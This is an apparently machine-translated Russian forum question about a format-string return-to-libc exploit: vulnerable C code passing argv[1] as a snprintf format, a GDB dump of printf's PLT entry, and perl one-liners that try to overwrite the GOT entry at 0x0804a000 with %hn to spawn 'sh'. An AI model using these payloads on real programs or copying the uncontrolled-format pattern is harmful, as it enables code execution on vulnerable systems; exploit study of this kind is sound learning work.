Я пытаюсь выполнить возврат к строковой атаке формата libc, но адрес, который я хочу записать в (0x0804a000), имеет нулевой байт! Я должен прочитать в своей строке формата snprintf, поэтому нулевой байт заставляет его работать неправильно и Segfaults случайным образом.Возврат к Libc с Null байт в addr
buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);
Вот это GDB дамп для Printf @ PLT:
(gdb) disassem 0x080483c0
Dump of assembler code for function [email protected]:
0x080483c0 <+0>: jmp *0x804a000
0x080483c6 <+6>: push $0x0
0x080483cb <+11>: jmp 0x80483b0
End of assembler dump.
Кто-нибудь есть какие-нибудь идеи?
Мой текущий метод работает его как этот
./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`
но есть нулевой байт. Я также попытался
./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`
но адрес перед 0x0804a000
имеет глобальную таблицу смещений, и поэтому snprintf еще до того, ошибки сегментации возврата к функции, которая вызывает его.